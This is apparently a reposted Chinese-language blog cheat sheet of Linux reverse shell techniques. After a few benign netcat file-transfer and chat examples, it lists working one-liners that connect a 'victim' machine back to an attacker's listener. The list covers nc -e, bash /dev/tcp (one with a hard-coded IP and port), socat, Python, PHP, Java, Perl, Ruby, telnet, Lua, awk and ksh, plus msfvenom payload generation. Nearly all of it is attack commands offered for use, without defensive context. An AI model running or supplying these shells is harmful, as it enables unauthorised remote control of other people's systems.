linux反彈shell總結
阿新 • • 發佈:2020-09-01
1.1傳送檔案(公網發內網)
檔案傳送端:
nc -lp 6666 < 檔案
檔案接收端:
nc 傳送端ip 傳送端埠 > 新檔案
1.2傳送檔案(內網發公網)
檔案傳送端:
nc -lp 6666 > 檔案
檔案接收端:
nc 傳送端ip 傳送端埠 < 新檔案
2.聊天
傳送端:
nc -lp 6666
接收端:
nc 傳送端ip 傳送端埠
3.1傳送shell
傳送端(公網伺服器):
nc -lvvp 傳送端port -e /bin/bash
接收端:
nc 傳送端ip 傳送端port
3.2反彈shell
接收端:
nc -lvvp 6666
傳送端(內網網伺服器):
nc 接收端ip 接收端埠 -e /bin/bash
4.bash反彈
接收端(hackip,公網):
nc -lvvp 埠
傳送端(受害者):
bash -i >& /dev/tcp/攻擊ip/攻擊埠 0>&1
傳送端(受害者):
0<&31-;exec 31<>/dev/tcp/111.230.170.95/9985;sh <&31 >&31 2>&31
5.1socat反彈(tcp)
接收端(攻擊機):
./socat TCP-LISTEN:埠 -
傳送端(靶機):
./socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:攻擊機ip:攻擊機埠
5.2socat反彈(udp)
接收端:
nc -lvvp 8080
傳送端:
socat udp-connect:攻擊者ip:埠 exec:'bash -li',pty,stderr,sane 2>&1>/dev/null &
6.python反彈
接收端(攻擊機,外網):
nc -lvvp 埠
傳送端(靶機):
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("接收端ip",接收端埠));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
7.PHP反彈
接收端:
nc -lvvp 埠
傳送端:
php -r '$sock=fsockopen("攻擊者ip",埠);exec("/bin/sh -i <&3 >&3 2>&3");'
8.JAVA反彈
接收端:
nc -lvvp 埠
傳送端:
r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/攻擊者ip/埠;cat <&5 | while read line; do $line 2>&5 >&5; done"] as String[]) p.waitFor()
9.perl反彈
接收端:
nc -lvvp 埠
傳送端:
perl -e 'use Socket;$i="攻擊者ip";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
10.ruby反彈
接收端:
nc -lvvp 埠
傳送端:
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("攻擊者ip","埠");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
11.telnet反彈
接收端:
nc -lvvp 埠
傳送端:
mknod backpipe p && telnet 攻擊者ip 埠 0<backpipe | /bin/bash 1>backpipe
12.lua反彈(安裝lua環境:apt-get install lua*)
接收端:
nc -lvvp 埠
傳送端:
lua -e "local s=require('socket');local t=assert(s.tcp());t:connect('攻擊者ip',埠);while true do local r,x=t:receive();local f=assert(io.popen(r,'r'));local b=assert(f:read('*a'));t:send(b);end;f:close();t:close();"
13.awk反彈
接收端:
nc -lvvp 埠
傳送端:
awk 'BEGIN{s="/inet/tcp/0/攻擊者ip/埠";while(1){do{s|&getline c;if(c){while((c|&getline)>0)print $0|&s;close(c)}}while(c!="exit");close(s)}}'
14.ksh反彈
接收端:
nc -lvvp 埠
傳送端:
ksh -c 'ksh >/dev/tcp/攻擊者ip/埠 2>&1 <&1'
15.msfvenom生成各種payload
接收端:
nc -lvvp 埠
查詢payload:
msfvenom -l payload |grep 'cmd/unix/reverse'
生成payload:
msfvenom -p cmd/unix/reverse_模組 lhost=接收端ip lport=接收端埠 R